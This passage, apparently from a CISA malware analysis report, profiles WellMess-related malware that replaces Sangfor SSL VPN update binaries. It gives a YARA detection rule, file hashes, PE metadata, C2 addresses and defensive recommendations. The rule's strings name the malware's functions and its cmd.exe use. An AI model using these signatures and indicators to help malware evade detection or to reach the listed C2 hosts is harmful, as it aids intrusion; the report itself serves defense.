  SHA256_1 = "7c39841ba409bce4c2c35437ecf043f22910984325c70b9530edf15d826147ee"

  MD5_2 = "a32e1202257a2945bf0f878c58490af8"

  SHA256_2 = "a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064"

  MD5_3 = "861879f402fe3080ab058c0c88536be4"

  SHA256_3 = "14e9b5e214572cb13ff87727d680633f5ee238259043357c94302654c546cad2"

  MD5_4 = "2f9f4f2a9d438cdc944f79bdf44a18f8"

  SHA256_4 = "e329607379a01483fc914a47c0062d5a3a8d8d65f777fbad2c5a841a90a0af09"

  MD5_5 = "ae7a46529a0f74fb83beeb1ab2c68c5c"

  SHA256_5 = "fd3969d32398bbe3709e9da5f8326935dde664bbc36753bd41a0b111712c0950"

  MD5_6 = "f18ced8772e9d1a640b8b4a731dfb6e0"

  SHA256_6 = "953b5fc9977e2d50f3f72c6ce85e89428937117830c0ed67d468e2d93aa7ec9a"

  MD5_7 = "3a9cdd8a5cbc3ab10ad64c4bb641b41f"

  SHA256_7 = "5ca4a9f6553fea64ad2c724bf71d0fac2b372f9e7ce2200814c98aac647172fb"

  MD5_8 = "967fcf185634def5177f74b0f703bdc0"

  SHA256_8 = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"

  MD5_9 = "c5d5cb99291fa4b2a68b5ea3ff9d9f9a"

  SHA256_9 = "65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75"

  MD5_10 = "01d322dcac438d2bb6bce2bae8d613cb"

  SHA256_10 = "0c5ad1e8fe43583e279201cdb1046aea742bae59685e6da24e963a41df987494"

  MD5_11 = "8777a9796565effa01b03cf1cea9d24d"

  SHA256_11 = "83014ab5b3f63b0253cdab6d715f5988ac9014570fa4ab2b267c7cf9ba237d18"

  MD5_12 = "507bb551bd7073f846760d8b357b7aa9"

  SHA256_12 = "47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854"

strings:

$0 = "/home/ubuntu/GoProject/src/bot/botlib/chat.go"

$1 = "/home/ubuntu/GoProject/src/bot/botlib.Post"

$2 = "GoProject/src/bot/botlib.deleteFile"

$3 = "ubuntu/GoProject/src/bot/botlib.generateRandomString"

$4 = "GoProject/src/bot/botlib.AES_Decrypt"

$5 = { 53 00 63 00 72 00 69 00 70 00 74 00 00 0F 63 00 6D 00 64 00 2E 00 65 00 78 00 65 00 00 07 2F 00 63 }

$6 = { 3C 00 6E 00 77 00 3E 00 2E 00 2A 00 29 00 00 0B 24 00 7B 00 66 00 6E 00 7D }

$7 = { 7B 00 61 00 72 00 67 00 7D 00 00 0B 24 00 7B 00 6E 00 77 00 7D }

$8 = { 52 61 6E 64 6F 6D 53 74 72 69 6E 67 00 44 65 6C 65 74 65 46 69 6C 65 }

$9 = "get_keyRC6"

$10 = { 7D A3 26 77 1D 63 3D 5A 32 B4 6F 1F 55 49 44 25 }

$11 = { 47 C2 2F 35 93 41 2F 55 73 0B C2 60 AB E1 2B 42 }

$12 = { 53 58 9B 17 1F 45 BD 72 EC 01 30 6C 4F CA 93 1D }

$13 = { 48 81 21 81 5F 53 3A 64 E0 ED FF 21 23 E5 00 12 }

$14 = "GoProject/src/bot/botlib.wellMess"

$15 = { 62 6F 74 6C 69 62 2E 4A 6F 69 6E 44 6E 73 43 68 75 6E 6B 73 }

$16 = { 62 6F 74 6C 69 62 2E 45 78 65 63 }

$17 = { 62 6F 74 6C 69 62 2E 47 65 74 52 61 6E 64 6F 6D 42 79 74 65 73 }

$18 = { 62 6F 74 6C 69 62 2E 4B 65 79 }

$19 = { 7F 16 21 9D 7B 03 CB D9 17 3B 9F 27 B3 DC 88 0F }

$20 = { D9 BD 0A 0E 90 10 B1 39 D0 C8 56 58 69 74 15 8B }

$21 = { 44 00 59 00 4A 00 20 00 36 00 47 00 73 00 62 00 59 00 31 00 2E }

$22 = { 6E 00 20 00 46 00 75 00 7A 00 2C 00 4B 00 5A 00 20 00 33 00 31 00 69 00 6A 00 75 }

$23 = { 43 00 31 00 69 00 76 00 66 00 39 00 32 00 20 00 56 00 37 00 6C 00 4F 00 48 }

$24 = { 66 69 6C 65 4E 61 6D 65 3A 28 3F 50 3C 66 6E 3E 2E 2A 3F 29 5C 73 61 72 67 73 3A 28 3F 50 3C 61 72 67 3E 2E 2A 3F }

$25 = { 5C 00 2E 00 53 00 61 00 6E 00 67 00 66 00 6F 00 72 00 55 00 44 00 2E 00 73 00 75 00 6D }

$26 = { 66 6F 72 6D 2D 64 61 74 61 3B 20 6E 61 6D 65 3D 22 5F 67 61 22 3B 20 66 69 6C 65 6E 61 6D 65 3D }

$27 = { 40 5B 5E 5C 73 5D 2B 3F 5C 73 28 3F 50 3C 74 61 72 3E 2E 2A 3F 29 5C 73 27 }

condition:

($0 and $1 and $2 and $3 and $4) or ($5 and $6 and $7 and $8 and $9) or ($10 and $11) or ($12 and $13) or ($14) or ($15 and $16 and $17 and $18) or ($19 and $20) or ($21 and $22 and $23) or ($24) or ($25 and $26) or ($27)

}

ssdeep Matches

No matches found.

PE Metadata

Compile Date	2018-03-12 10:02:59-04:00

Import Hash	a723dab3d5a36cc8ad0ef65a0d4cfb3d
Company Name	Sangfor Technologies Co.,Ltd
File Description	SangforUD
Internal Name	SangforUD.exe
Legal Copyright	Copyright (C) 2015
Original Filename	SangforUD.EXE
Product Name	SangforUD application
Product Version	7.6.0.100

PE Sections

MD5	Name	Raw Size	Entropy
ed096fa6a0d25049398750d840d02748	header	1024	3.038012
0f2de5a1546886f5cb9876d918d333bf	.text	238080	6.593105
398a48e3a63f160340ba9720a3f13bc8	.rdata	73728	5.589507
6f25e38b602834c202db365468104061	.data	4608	3.709410
1f354d76203061bfdd5a53dae48d5435	.tls	512	0.020393
093889615fb3f28b9066f7dc93650099	.rsrc	103936	3.885922
d404cb13c9f033a5b71c2d31cf474e6f	.reloc	12800	6.522532

Packers/Compilers/Cryptors

Relationships

a4b790ddff...	Connected_To	192.168.169.103

Description

This file is a 32-bit Windows executable and is similar in design and structure to the file 65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75. This application is also designed to replace the update binaries served out from Sangfor SSL VPN devices. It uses the private IP address 192.168.169.103 as a C2 server.

192.168.169.103

Whois

Queried whois.arin.net with "n 192.168.169.103"...

NetRange: 192.168.0.0 - 192.168.255.255

CIDR: 192.168.0.0/16

NetName: PRIVATE-ADDRESS-CBLK-RFC1918-IANA-RESERVED

NetHandle: NET-192-168-0-0-1

Parent: NET192 (NET-192-0-0-0-0)

NetType: IANA Special Use

Organization: Internet Assigned Numbers Authority (IANA)

RegDate: 1994-03-15

Updated: 2013-08-30

Comment: These addresses are in use by many millions of independently operated networks, which might be as small as a single computer connected to a home gateway, and are automatically configured in hundreds of millions of devices. They are only intended for use within a private context and traffic that needs to cross the Internet will need to use a different, unique address.

Comment: These addresses can be used by anyone without any need to coordinate with IANA or an Internet registry. The traffic from these addresses does not come from ICANN or IANA. We are not the source of activity you may see on logs or in e-mail records. Please refer to http://www.iana.org/abuse/answers

Comment: These addresses were assigned by the IETF, the organization that develops Internet protocols, in the Best Current Practice document, RFC 1918 which can be found at:

Comment: http://datatracker.ietf.org/doc/rfc1918

Ref: https://rdap.arin.net/registry/ip/192.168.0.0

OrgName: Internet Assigned Numbers Authority

OrgId: IANA

Address: 12025 Waterfront Drive

Address: Suite 300

City: Los Angeles

StateProv: CA

PostalCode: 90292

Country: US

Updated: 2012-08-31

Ref: https://rdap.arin.net/registry/entity/IANA

Relationships

192.168.169.103	Connected_From	a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064

Description

a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064 attempts to connect to the private IP address.

Relationship Summary

65495d173e...	Connected_To	103.216.221.19
103.216.221.19	Connected_From	65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75
103.216.221.19	Connected_From	58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2
58d8e65976...	Connected_To	103.216.221.19
a4b790ddff...	Connected_To	192.168.169.103
192.168.169.103	Connected_From	a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up-to-date.
- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.

- Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, **"Guide to Malware Incident Prevention & Handling for Desktops and Laptops".**

Contact Information

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

- Web: https://malware.us-cert.gov
- E-Mail: submit@malware.us-cert.gov
- FTP: ftp.malware.us-cert.gov (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.

Revisions

July 16, 2020: Initial Version
